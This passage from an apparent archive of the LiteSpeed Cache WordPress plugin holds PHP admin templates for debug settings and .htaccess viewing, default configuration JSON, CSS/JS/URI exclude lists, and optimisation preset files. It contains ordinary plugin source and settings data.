		<a href="javascript:;" class="button litespeed-btn-success" onclick="document.getElementById('litespeed-beta-test').value='master';"><?php esc_html_e( 'Use latest GitHub Master commit', 'litespeed-cache' ); ?></a> <code>master</code>
	</p>

	<p>
		<a href="javascript:;" class="button litespeed-btn-success" onclick="document.getElementById('litespeed-beta-test').value='latest';"><?php esc_html_e( 'Use latest WordPress release version', 'litespeed-cache' ); ?></a> <code><?php echo esc_attr( Debug2::BETA_TEST_URL_WP ); ?></code> <?php esc_html_e( 'OR', 'litespeed-cache' ); ?> <code>latest</code>
	</p>

	<p>
		<?php foreach ( $v_list as $v ) : ?>
			<a href="javascript:;" class="button <?php echo '3.6.4' === $v ? 'litespeed-btn-danger' : 'litespeed-btn-success'; ?>" onclick="document.getElementById('litespeed-beta-test').value='<?php echo esc_attr( $v ); ?>';"><?php echo esc_html( $v ); ?></a>
		<?php endforeach; ?>
		<span class="litespeed-danger">
			🚨 <?php esc_html_e( 'Downgrade not recommended. May cause fatal error due to refactored code.', 'litespeed-cache' ); ?>
		</span>
	</p>

	<div class="litespeed-desc">
		<?php printf( esc_html__( 'Press the %s button to use the most recent GitHub commit. Master is for release candidate & Dev is for experimental testing.', 'litespeed-cache' ), '<code>' . esc_html__( 'Use latest GitHub Dev/Master commit', 'litespeed-cache' ) . '</code>' ); ?>
	</div>
	<div class="litespeed-desc">
		<?php printf( esc_html__( 'Press the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory.', 'litespeed-cache' ), '<code>' . esc_html__( 'Use latest WordPress release version', 'litespeed-cache' ) . '</code>' ); ?>
	</div>

	<p class="litespeed-danger">
		🚨 <?php printf( esc_html__( 'In order to avoid an upgrade error, you must be using %1$s or later before you can upgrade to %2$s versions.', 'litespeed-cache' ), '<code>v3.6.4</code>', '<code>dev/master/v4+</code>' ); ?>
	</p>

	<button type="submit" class="button button-primary"><?php esc_html_e( 'Upgrade', 'litespeed-cache' ); ?></button>
</form>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/toolbox/settings-debug.tpl.php000064400000014730151031165260023014 0ustar00<?php
/**
 * LiteSpeed Cache Debug Settings Interface
 *
 * Renders the debug settings interface for LiteSpeed Cache, allowing users to configure debugging options and view the site with specific settings bypassed.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$this->form_action( $this->_is_network_admin ? Router::ACTION_SAVE_SETTINGS_NETWORK : false );
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Debug Helpers', 'litespeed-cache' ); ?>
</h3>

<a href="<?php echo esc_url( home_url( '/' ) . '?' . Router::ACTION . '=before_optm' ); ?>" class="button button-success" target="_blank">
	<?php esc_html_e( 'View Site Before Optimization', 'litespeed-cache' ); ?>
</a>

<a href="<?php echo esc_url( home_url( '/' ) . '?' . Router::ACTION . '=' . Core::ACTION_QS_NOCACHE ); ?>" class="button button-success" target="_blank">
	<?php esc_html_e( 'View Site Before Cache', 'litespeed-cache' ); ?>
</a>


<?php
$temp_disabled_time = $this->conf( Base::DEBUG_TMP_DISABLE );
$temp_disabled      = Debug2::is_tmp_disable();
if ( !$temp_disabled ) {
?>
	<a href="<?php echo wp_kses_post( Utility::build_url(Router::ACTION_TMP_DISABLE, false, false, '_ori') ); ?>" class="button litespeed-btn-danger">
		<?php esc_html_e( 'Disable All Features for 24 Hours', 'litespeed-cache' ); ?>
	</a>
<?php
} else {
	$date = wp_date( get_option('date_format') . ' ' . get_option( 'time_format' ), $temp_disabled_time );
?>
	<a href="<?php echo wp_kses_post( Utility::build_url(Router::ACTION_TMP_DISABLE, false, false, '_ori') ); ?>" class="button litespeed-btn-warning">
		<?php esc_html_e( 'Remove `Disable All Feature` Flag Now', 'litespeed-cache' ); ?>
	</a>
	<div class="litespeed-callout notice notice-warning inline">
		<h4><?php esc_html_e( 'NOTICE', 'litespeed-cache' ); ?></h4>
		<p><?php echo wp_kses_post( sprintf ( __( 'LiteSpeed Cache is temporarily disabled until: %s.', 'litespeed-cache' ), '<strong>' . $date . '</strong>' ) ); ?></p>
	</div>
<?php
}
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Debug Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/toolbox/#debug-settings-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<tr>
			<th>
				<?php $option_id = Base::O_DEBUG_DISABLE_ALL; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'This will disable LSCache and all optimization features for debug purpose.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_DEBUG; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id, array( esc_html__( 'OFF', 'litespeed-cache' ), esc_html__( 'ON', 'litespeed-cache' ), esc_html__( 'Admin IP Only', 'litespeed-cache' ) ) ); ?>
				<div class="litespeed-desc">
					<?php printf( esc_html__( 'Outputs to a series of files in the %s directory.', 'litespeed-cache' ), '<code>wp-content/litespeed/debug</code>' ); ?>
					<?php esc_html_e( 'To prevent filling up the disk, this setting should be OFF when everything is working.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'The Admin IP option will only output log messages on requests from admin IPs listed below.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_DEBUG_IPS; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id, 50 ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Allows listed IPs (one per line) to perform certain actions from their browsers.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'Your IP', 'litespeed-cache' ); ?>: <code><?php echo esc_html( Router::get_ip() ); ?></code>
					<?php $this->_validate_ip( $option_id ); ?>
					<br />
					<?php
					Doc::learn_more(
						'https://docs.litespeedtech.com/lscache/lscwp/admin/#admin-ip-commands',
						esc_html__( 'More information about the available commands can be found here.', 'litespeed-cache' )
					);
					?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_DEBUG_LEVEL; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id, array( esc_html__( 'Basic', 'litespeed-cache' ), esc_html__( 'Advanced', 'litespeed-cache' ) ) ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Advanced level will log more details.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_DEBUG_FILESIZE; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id, 'litespeed-input-short' ); ?> <?php esc_html_e( 'MB', 'litespeed-cache' ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Specify the maximum size of the log file.', 'litespeed-cache' ); ?>
					<?php $this->recommended( $option_id ); ?>
					<?php $this->_validate_ttl( $option_id, 3, 3000 ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_DEBUG_COLLAPSE_QS; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Shorten query strings in the debug log to improve readability.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_DEBUG_INC; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Only log listed pages.', 'litespeed-cache' ); ?>
					<?php $this->_uri_usage_example(); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_DEBUG_EXC; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Prevent any debug log of listed pages.', 'litespeed-cache' ); ?>
					<?php $this->_uri_usage_example(); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_DEBUG_EXC_STRINGS; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Prevent writing log entries that include listed strings.', 'litespeed-cache' ); ?>
					<?php Doc::one_per_line(); ?>
				</div>
			</td>
		</tr>
	</tbody>
</table>

<?php $this->form_end(); ?>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/toolbox/edit_htaccess.tpl.php000064400000007031151031165260022666 0ustar00<?php
/**
 * LiteSpeed Cache View .htaccess
 *
 * Renders the .htaccess view interface for LiteSpeed Cache, displaying the contents and paths of frontend and backend .htaccess files.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$content = null;
try {
	$content = Htaccess::cls()->htaccess_read();
} catch ( \Exception $e ) {
	?>
	<div class="notice notice-error is-dismissible">
		<p><?php echo wp_kses_post( $e->getMessage() ); ?></p>
	</div>
	<?php
}

$htaccess_path = Htaccess::get_frontend_htaccess();

// Check for `ExpiresDefault` in .htaccess when LiteSpeed is enabled
if ( defined( 'LITESPEED_ON' ) && $content && stripos( $content, "\nExpiresDefault" ) !== false ) {
	$is_dismissed = GUI::get_option( self::DB_DISMISS_MSG );
	if ( self::RULECONFLICT_DISMISSED !== $is_dismissed ) {
		if ( self::RULECONFLICT_ON !== $is_dismissed ) {
			GUI::update_option( self::DB_DISMISS_MSG, self::RULECONFLICT_ON );
		}
		require_once LSCWP_DIR . 'tpl/inc/show_rule_conflict.php';
	}
}
?>

<h3 class="litespeed-title">
	<?php esc_html_e( 'LiteSpeed Cache View .htaccess', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/toolbox/#view-htaccess-tab' ); ?>
</h3>

<h3 class="litespeed-title-short">
	<?php esc_html_e( '.htaccess Path', 'litespeed-cache' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<tr>
			<th>
				<?php esc_html_e( 'Frontend .htaccess Path', 'litespeed-cache' ); ?>
			</th>
			<td>
				<code><?php echo esc_html( $htaccess_path ); ?></code>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Default path is', 'litespeed-cache' ); ?>: <code><?php echo esc_html( Htaccess::get_frontend_htaccess( true ) ); ?></code>
					<br />
					<font class="litespeed-success">
						<?php esc_html_e( 'API', 'litespeed-cache' ); ?>:
						<?php printf( esc_html__( 'PHP Constant %s is supported.', 'litespeed-cache' ), '<code>LITESPEED_CFG_HTACCESS</code>' ); ?>
						<?php printf( esc_html__( 'You can use this code %1$s in %2$s to specify the htaccess file path.', 'litespeed-cache' ), '<code>defined("LITESPEED_CFG_HTACCESS") || define("LITESPEED_CFG_HTACCESS", "your path on server");</code>', '<code>wp-config.php</code>' ); ?>
					</font>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php esc_html_e( 'Backend .htaccess Path', 'litespeed-cache' ); ?>
			</th>
			<td>
				<code><?php echo esc_html( Htaccess::get_backend_htaccess() ); ?></code>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Default path is', 'litespeed-cache' ); ?>: <code><?php echo esc_html( Htaccess::get_backend_htaccess( true ) ); ?></code>
					<br />
					<font class="litespeed-success">
						<?php esc_html_e( 'API', 'litespeed-cache' ); ?>:
						<?php printf( esc_html__( 'PHP Constant %s is supported.', 'litespeed-cache' ), '<code>LITESPEED_CFG_HTACCESS_BACKEND</code>' ); ?>
						<?php printf( esc_html__( 'You can use this code %1$s in %2$s to specify the htaccess file path.', 'litespeed-cache' ), '<code>defined("LITESPEED_CFG_HTACCESS_BACKEND") || define("LITESPEED_CFG_HTACCESS_BACKEND", "your path on server");</code>', '<code>wp-config.php</code>' ); ?>
					</font>
				</div>
			</td>
		</tr>
	</tbody>
</table>

<?php if ( null !== $content ) : ?>
	<h3 class="litespeed-title">
		<?php printf( esc_html__( 'Current %s Contents', 'litespeed-cache' ), '.htaccess' ); ?>
	</h3>

	<h4><?php echo esc_html( $htaccess_path ); ?></h4>

	<textarea readonly wrap="off" rows="50" class="large-text"><?php echo esc_textarea( $content ); ?></textarea>
<?php endif; ?>litespeed-wp-plugin/7.5.0.1/litespeed-cache/data/esi.nonce.txt000064400000001362151031165260017624 0ustar00# !!!!! Legacy file for v3.5.1- !!!!!

## Predefined elsewhere so not needed here:

## WordPress core
#stats_nonce
#subscribe_nonce

# Divi Theme Builder
#et-pb-contact-form-submit
#et_frontend_nonce
#et_ab_log_nonce

# WooCommerce PayPal Checkout
#_wc_ppec_update_shipping_costs_nonce private
#_wc_ppec_start_checkout_nonce private
#_wc_ppec_generate_cart_nonce private

# User Switching
#switch_to_olduser_'<ID>'

# Caldera Forms
#caldera_forms_front_*

## Predefined list of ESI nonces:

# CM Registration Pro
cmreg_registration_nonce private
role_nonce private

# WooCommerce Delivery Area Pro #16843635
wdap-call-nonce private

# SEOpress Cookie Consent
seopress_cookies_user_consent_nonce

#SearchWP Metrics
swpmtxnonce

#wpDataTables #986128
wdt*
litespeed-wp-plugin/7.5.0.1/litespeed-cache/data/const.network_default.json000064400000002226151031165260022417 0ustar00{
	"cache": false,
	"use_primary_settings": false,
	"auto_upgrade": false,
	"cache-resources": true,
	"cache-browser": false,
	"cache-mobile": false,
	"cache-mobile_rules": "Mobile\nAndroid\nSilk/\nKindle\nBlackBerry\nOpera Mini\nOpera Mobi",
	"cache-login_cookie": "",
	"cache-exc_cookies": "",
	"cache-exc_useragents": "",
	"cache-ttl_browser": 31557600,
	"purge-upgrade": false,
	"object": false,
	"object-kind": false,
	"object-host": "localhost",
	"object-port": 11211,
	"object-life": 360,
	"object-persistent": true,
	"object-admin": true,
	"object-transients": true,
	"object-db_id": 0,
	"object-user": "",
	"object-pswd": "",
	"object-global_groups": "users\nuserlogins\nusermeta\nuser_meta\nuseremail\nuserslugs\nsites\nsite-details\nsite-transient\nsite-options\nsite-lookup\nblog-lookup\nblog-id-cache\nblog-details\nnetworks\nrss\nglobal-posts\nglobal-cache-test",
	"object-non_persistent_groups": "comment\ncounts\nplugins",
	"debug-disable_all": false,
	"debug": false,
	"debug-ips": "127.0.0.1",
	"debug-level": false,
	"debug-filesize": 3,
	"debug-collapse_qs": false,
	"debug-inc": "",
	"debug-exc": "",
	"debug-exc_strings": "",
	"img_optm-webp": false
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/data/ucss_whitelist.txt000064400000000714151031165260021014 0ustar00# Predefined list for UCSS whitelist #
# Comment can use `# `(there is a space following), or `##`, can use both as a new line or end of one line
# If you want to predefine new items, please send a Pull Request to https://github.com/litespeedtech/lscache_wp/blob/dev/data/ucss_whitelist.txt We will merge into next plugin release


############# DoBar compatibility #############
.pace-inactive

############# DIVI ################
.et_pb_number_counter.activelitespeed-wp-plugin/7.5.0.1/litespeed-cache/data/optm_uri_exc.txt000064400000000571151031165260020441 0ustar00# Predefined list for excluding URI from page optimization #
# Comment can use `# `(there is a space following), or `##`, can use both as a new line or end of one line
# If you want to predefine new items, please send a Pull Request to https://github.com/litespeedtech/lscache_wp/blob/dev/data/optm_uri_exc.txt We will merge into next plugin release

# URI excludes
.well-knownlitespeed-wp-plugin/7.5.0.1/litespeed-cache/data/js_defer_excludes.txt000064400000000774151031165260021426 0ustar00# Predefined list for excluding deferred JS files or inline JS codes #
# Comment can use `# `(there is a space following), or `##`, can use both as a new line or end of one line
# If you want to predefine new items, please send a Pull Request to https://github.com/litespeedtech/lscache_wp/blob/dev/data/js_defer_excludes.txt We will merge into next plugin release

# JS file URL excludes
adsbygoogle

## JetPack Stats
stats.wp.com/e-
_stq

# Cloudflare turnstile - Tobolo
turnstile
challenges.cloudflare.comlitespeed-wp-plugin/7.5.0.1/litespeed-cache/data/preset/aggressive.data000064400000002666151031165260021506 0ustar00["_version","5.3"]

["guest",true]

["guest_optm",true]

["cache",true]

["cache-priv",true]

["cache-commenter",true]

["cache-rest",true]

["cache-page_login",true]

["cache-resources",true]

["cache-mobile",true]

["cache-browser",true]

["esi",false]

["esi-cache_admbar",true]

["esi-cache_commform",true]

["util-instant_click",false]

["util-no_https_vary",false]

["optm-css_min",true]

["optm-css_comb",true]

["optm-css_comb_ext_inl",false]

["optm-ucss",true]

["optm-ucss_inline",false]

["optm-js_min",true]

["optm-js_comb",true]

["optm-js_comb_ext_inl",false]

["optm-html_min",true]

["optm-qs_rm",true]

["optm-ggfonts_rm",false]

["optm-css_async",true]

["optm-ccss_per_url",true]

["optm-css_async_inline",true]

["optm-css_font_display",true]

["optm-js_defer",1]

["optm-emoji_rm",true]

["optm-noscript_rm",true]

["optm-ggfonts_async",false]

["optm-dns_prefetch_ctrl",true]

["optm-guest_only",true]

["discuss-avatar_cache",true]

["discuss-avatar_cron",true]

["optm-localize",false]

["media-lazy",false]

["media-lazy_placeholder",""]

["media-placeholder_resp",false]

["media-lqip",false]

["media-placeholder_resp_async",true]

["media-iframe_lazy",true]

["media-add_missing_sizes",false]

["media-vpi",false]

["media-vpi_cron",false]

["img_optm-auto",true]

["img_optm-ori",true]

["img_optm-rm_bkup",false]

["img_optm-webp",true]

["img_optm-lossless",false]

["img_optm-exif",false]

["img_optm-webp_replace_srcset",true]
litespeed-wp-plugin/7.5.0.1/litespeed-cache/data/preset/basic.data000064400000002706151031165260020423 0ustar00["_version","5.3"]

["guest",false]

["guest_optm",false]

["cache",true]

["cache-priv",true]

["cache-commenter",true]

["cache-rest",true]

["cache-page_login",true]

["cache-resources",true]

["cache-mobile",true]

["cache-browser",true]

["esi",false]

["esi-cache_admbar",true]

["esi-cache_commform",true]

["util-instant_click",false]

["util-no_https_vary",false]

["optm-css_min",false]

["optm-css_comb",false]

["optm-css_comb_ext_inl",true]

["optm-ucss",false]

["optm-ucss_inline",false]

["optm-js_min",false]

["optm-js_comb",false]

["optm-js_comb_ext_inl",true]

["optm-html_min",false]

["optm-qs_rm",false]

["optm-ggfonts_rm",false]

["optm-css_async",false]

["optm-ccss_per_url",false]

["optm-css_async_inline",true]

["optm-css_font_display",false]

["optm-js_defer",0]

["optm-emoji_rm",false]

["optm-noscript_rm",false]

["optm-ggfonts_async",false]

["optm-dns_prefetch_ctrl",false]

["optm-guest_only",true]

["discuss-avatar_cache",false]

["discuss-avatar_cron",false]

["optm-localize",false]

["media-lazy",false]

["media-lazy_placeholder",""]

["media-placeholder_resp",false]

["media-lqip",false]

["media-placeholder_resp_async",true]

["media-iframe_lazy",false]

["media-add_missing_sizes",false]

["media-vpi",false]

["media-vpi_cron",false]

["img_optm-auto",true]

["img_optm-ori",true]

["img_optm-rm_bkup",false]

["img_optm-webp",true]

["img_optm-lossless",false]

["img_optm-exif",false]

["img_optm-webp_replace_srcset",true]
litespeed-wp-plugin/7.5.0.1/litespeed-cache/data/preset/essentials.data000064400000002712151031165260021511 0ustar00["_version","5.3"]

["guest",false]

["guest_optm",false]

["cache",true]

["cache-priv",true]

["cache-commenter",true]

["cache-rest",true]

["cache-page_login",true]

["cache-resources",true]

["cache-mobile",false]

["cache-browser",true]

["esi",false]

["esi-cache_admbar",true]

["esi-cache_commform",true]

["util-instant_click",false]

["util-no_https_vary",false]

["optm-css_min",false]

["optm-css_comb",false]

["optm-css_comb_ext_inl",true]

["optm-ucss",false]

["optm-ucss_inline",false]

["optm-js_min",false]

["optm-js_comb",false]

["optm-js_comb_ext_inl",true]

["optm-html_min",false]

["optm-qs_rm",false]

["optm-ggfonts_rm",false]

["optm-css_async",false]

["optm-ccss_per_url",false]

["optm-css_async_inline",true]

["optm-css_font_display",false]

["optm-js_defer",0]

["optm-emoji_rm",false]

["optm-noscript_rm",false]

["optm-ggfonts_async",false]

["optm-dns_prefetch_ctrl",false]

["optm-guest_only",true]

["discuss-avatar_cache",false]

["discuss-avatar_cron",false]

["optm-localize",false]

["media-lazy",false]

["media-lazy_placeholder",""]

["media-placeholder_resp",false]

["media-lqip",false]

["media-placeholder_resp_async",true]

["media-iframe_lazy",false]

["media-add_missing_sizes",false]

["media-vpi",false]

["media-vpi_cron",false]

["img_optm-auto",false]

["img_optm-ori",true]

["img_optm-rm_bkup",false]

["img_optm-webp",false]

["img_optm-lossless",false]

["img_optm-exif",false]

["img_optm-webp_replace_srcset",false]
litespeed-wp-plugin/7.5.0.1/litespeed-cache/data/preset/extreme.data000064400000003000151031165260020777 0ustar00["_version","5.3"]

["guest",true]

["guest_optm",true]

["cache",true]

["cache-priv",true]

["cache-commenter",true]

["cache-rest",true]

["cache-page_login",true]

["cache-resources",true]

["cache-mobile",true]

["cache-browser",true]

["esi",false]

["esi-cache_admbar",true]

["esi-cache_commform",true]

["util-instant_click",false]

["util-no_https_vary",false]

["optm-css_min",true]

["optm-css_comb",true]

["optm-css_comb_ext_inl",true]

["optm-ucss",true]

["optm-ucss_inline",false]

["optm-js_min",true]

["optm-js_comb",true]

["optm-js_comb_ext_inl",true]

["optm-html_min",true]

["optm-qs_rm",true]

["optm-ggfonts_rm",false]

["optm-css_async",true]

["optm-ccss_per_url",true]

["optm-css_async_inline",true]

["optm-css_font_display",true]

["optm-js_defer",2]

["optm-emoji_rm",true]

["optm-noscript_rm",true]

["optm-ggfonts_async",false]

["optm-dns_prefetch_ctrl",true]

["optm-guest_only",true]

["discuss-avatar_cache",true]

["discuss-avatar_cron",true]

["optm-localize",false]

["media-lazy",true]

["media-lazy_placeholder","data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"]

["media-placeholder_resp",true]

["media-lqip",true]

["media-placeholder_resp_async",true]

["media-iframe_lazy",true]

["media-add_missing_sizes",true]

["media-vpi",true]

["media-vpi_cron",true]

["img_optm-auto",true]

["img_optm-ori",true]

["img_optm-rm_bkup",false]

["img_optm-webp",true]

["img_optm-lossless",false]

["img_optm-exif",false]

["img_optm-webp_replace_srcset",true]
litespeed-wp-plugin/7.5.0.1/litespeed-cache/data/preset/advanced.data000064400000002675151031165260021114 0ustar00["_version","5.3"]

["guest",true]

["guest_optm",true]

["cache",true]

["cache-priv",true]

["cache-commenter",true]

["cache-rest",true]

["cache-page_login",true]

["cache-resources",true]

["cache-mobile",true]

["cache-browser",true]

["esi",false]

["esi-cache_admbar",true]

["esi-cache_commform",true]

["util-instant_click",false]

["util-no_https_vary",false]

["optm-css_min",true]

["optm-css_comb",false]

["optm-css_comb_ext_inl",false]

["optm-ucss",false]

["optm-ucss_inline",false]

["optm-js_min",true]

["optm-js_comb",false]

["optm-js_comb_ext_inl",false]

["optm-html_min",true]

["optm-qs_rm",true]

["optm-ggfonts_rm",false]

["optm-css_async",false]

["optm-ccss_per_url",false]

["optm-css_async_inline",false]

["optm-css_font_display",true]

["optm-js_defer",1]

["optm-emoji_rm",true]

["optm-noscript_rm",true]

["optm-ggfonts_async",false]

["optm-dns_prefetch_ctrl",true]

["optm-guest_only",true]

["discuss-avatar_cache",true]

["discuss-avatar_cron",true]

["optm-localize",false]

["media-lazy",false]

["media-lazy_placeholder",""]

["media-placeholder_resp",false]

["media-lqip",false]

["media-placeholder_resp_async",true]

["media-iframe_lazy",false]

["media-add_missing_sizes",false]

["media-vpi",false]

["media-vpi_cron",false]

["img_optm-auto",true]

["img_optm-ori",true]

["img_optm-rm_bkup",false]

["img_optm-webp",true]

["img_optm-lossless",false]

["img_optm-exif",false]

["img_optm-webp_replace_srcset",true]
litespeed-wp-plugin/7.5.0.1/litespeed-cache/data/css_excludes.txt000064400000001276151031165260020433 0ustar00# Predefined list for excluding CSS files or inline CSS codes #
# Comment can use `# `(there is a space following), or `##`, can use both as a new line or end of one line
# If you want to predefine new items, please send a Pull Request to https://github.com/litespeedtech/lscache_wp/blob/dev/data/css_excludes.txt We will merge into next plugin release

# CSS file URL excludes



# Inline CSS excludes

########## Flatsome theme random string excludes ############
#row-
#col-
#cats-
#stack-
#timer-
#gap-
#portfolio-
#image_
#banner-
#map-
#text-
#page-header-
#section_

.tdi_ # Theme: Newspaper by tagDiv.com 2020

######### WoodMart - Responsive WooCommerce WordPress Theme ########
.tabs-wd-
#wd-litespeed-wp-plugin/7.5.0.1/litespeed-cache/data/const.default.json000064400000015364151031165260020655 0ustar00{
	"auto_upgrade": "",
	"server_ip": "",
	"guest": "",
	"guest_optm": "",
	"news": "1",
	"guest_uas": "Lighthouse\nGTmetrix\nGoogle\nPingdom\nbot\nspider\nPTST\nHeadlessChrome",
	"guest_ips": "208.70.247.157\n172.255.48.130\n172.255.48.131\n172.255.48.132\n172.255.48.133\n172.255.48.134\n172.255.48.135\n172.255.48.136\n172.255.48.137\n172.255.48.138\n172.255.48.139\n172.255.48.140\n172.255.48.141\n172.255.48.142\n172.255.48.143\n172.255.48.144\n172.255.48.145\n172.255.48.146\n172.255.48.147\n52.229.122.240\n104.214.72.101\n13.66.7.11\n13.85.24.83\n13.85.24.90\n13.85.82.26\n40.74.242.253\n40.74.243.13\n40.74.243.176\n104.214.48.247\n157.55.189.189\n104.214.110.135\n70.37.83.240\n65.52.36.250\n13.78.216.56\n52.162.212.163\n23.96.34.105\n65.52.113.236\n172.255.61.34\n172.255.61.35\n172.255.61.36\n172.255.61.37\n172.255.61.38\n172.255.61.39\n172.255.61.40\n104.41.2.19\n191.235.98.164\n191.235.99.221\n191.232.194.51\n52.237.235.185\n52.237.250.73\n52.237.236.145\n104.211.143.8\n104.211.165.53\n52.172.14.87\n40.83.89.214\n52.175.57.81\n20.188.63.151\n20.52.36.49\n52.246.165.153\n51.144.102.233\n13.76.97.224\n102.133.169.66\n52.231.199.170\n13.53.162.7\n40.123.218.94",
	"cache-priv": "1",
	"cache-commenter": "1",
	"cache-rest": "1",
	"cache-page_login": "1",
	"cache-resources": "1",
	"cache-browser": "",
	"cache-mobile": "",
	"cache-mobile_rules": "Mobile\nAndroid\nSilk/\nKindle\nBlackBerry\nOpera Mini\nOpera Mobi",
	"cache-exc_useragents": "",
	"cache-exc_cookies": "",
	"cache-exc_qs": "",
	"cache-exc_cat": "",
	"cache-exc_tag": "",
	"cache-force_uri": "",
	"cache-force_pub_uri": "",
	"cache-priv_uri": "",
	"cache-exc": "",
	"cache-exc_roles": "",
	"cache-drop_qs": "fbclid\ngclid\nutm*\n_ga",
	"cache-ttl_pub": "604800",
	"cache-ttl_priv": "1800",
	"cache-ttl_frontpage": "604800",
	"cache-ttl_feed": "604800",
	"cache-ttl_rest": "604800",
	"cache-ttl_browser": "31557600",
	"cache-login_cookie": "",
	"cache-vary_group": "",
	"cache-ttl_status": "404 3600\n500 600",
	"purge-upgrade": "0",
	"purge-stale": "",
	"purge-post_all": "",
	"purge-post_f": "1",
	"purge-post_h": "1",
	"purge-post_p": "1",
	"purge-post_pwrp": "1",
	"purge-post_a": "1",
	"purge-post_y": "",
	"purge-post_m": "1",
	"purge-post_d": "",
	"purge-post_t": "1",
	"purge-post_pt": "1",
	"purge-timed_urls": "",
	"purge-timed_urls_time": "",
	"purge-hook_all": "switch_theme\nwp_create_nav_menu\nwp_update_nav_menu\nwp_delete_nav_menu\ncreate_term\nedit_terms\ndelete_term\nadd_link\nedit_link\ndelete_link",
	"esi": "",
	"esi-cache_admbar": "1",
	"esi-cache_commform": "1",
	"esi-nonce": "stats_nonce\nsubscribe_nonce",
	"util-heartbeat": "1",
	"util-instant_click": "",
	"util-no_https_vary": "",
	"debug-disable_all": "",
	"debug": "",
	"debug-ips": "127.0.0.1",
	"debug-level": "",
	"debug-filesize": "3",
	"debug-collapse_qs": "",
	"debug-inc": "",
	"debug-exc": "",
	"debug-exc_strings": "",
	"db_optm-revisions_max": "0",
	"db_optm-revisions_age": "0",
	"optm-css_min": "",
	"optm-css_comb": "",
	"optm-css_comb_ext_inl": "1",
	"optm-ucss": "",
	"optm-ucss_inline": "",
	"optm-ucss_file_exc_inline": "",
	"optm-ucss_whitelist": "",
	"optm-ucss_exc": "",
	"optm-css_exc": "",
	"optm-js_min": "",
	"optm-js_comb": "",
	"optm-js_comb_ext_inl": "1",
	"optm-js_exc": "jquery.js\njquery.min.js",
	"optm-html_min": "",
	"optm-html_lazy": "",
	"optm-qs_rm": "",
	"optm-ggfonts_rm": "",
	"optm-css_async": "",
	"optm-ccss_per_url": "",
	"optm-ccss_whitelist": "",
	"optm-css_async_inline": "1",
	"optm-css_font_display": "",
	"optm-js_defer": "",
	"optm-emoji_rm": "",
	"optm-noscript_rm": "",
	"optm-ggfonts_async": "",
	"optm-exc_roles": "",
	"optm-ccss_con": "",
	"optm-ccss_sep_posttype": "page",
	"optm-ccss_sep_uri": "",
	"optm-js_defer_exc": "jquery.js\njquery.min.js\ngtm.js\nanalytics.js",
	"optm-gm_js_exc": "",
	"optm-dns_prefetch": "",
	"optm-dns_prefetch_ctrl": "",
	"optm-dns_preconnect": "",
	"optm-exc": "",
	"optm-guest_only": "1",
	"object": "",
	"object-kind": "",
	"object-host": "localhost",
	"object-port": "11211",
	"object-life": "360",
	"object-persistent": "1",
	"object-admin": "1",
	"object-transients": "1",
	"object-db_id": "0",
	"object-user": "",
	"object-pswd": "",
	"object-global_groups": "users\nuserlogins\nuseremail\nuserslugs\nusermeta\nuser_meta\nsite-transient\nsite-options\nsite-lookup\nsite-details\nblog-lookup\nblog-details\nblog-id-cache\nrss\nglobal-posts\nglobal-cache-test",
	"object-non_persistent_groups": "comment\ncounts\nplugins\nwc_session_id",
	"discuss-avatar_cache": "",
	"discuss-avatar_cron": "",
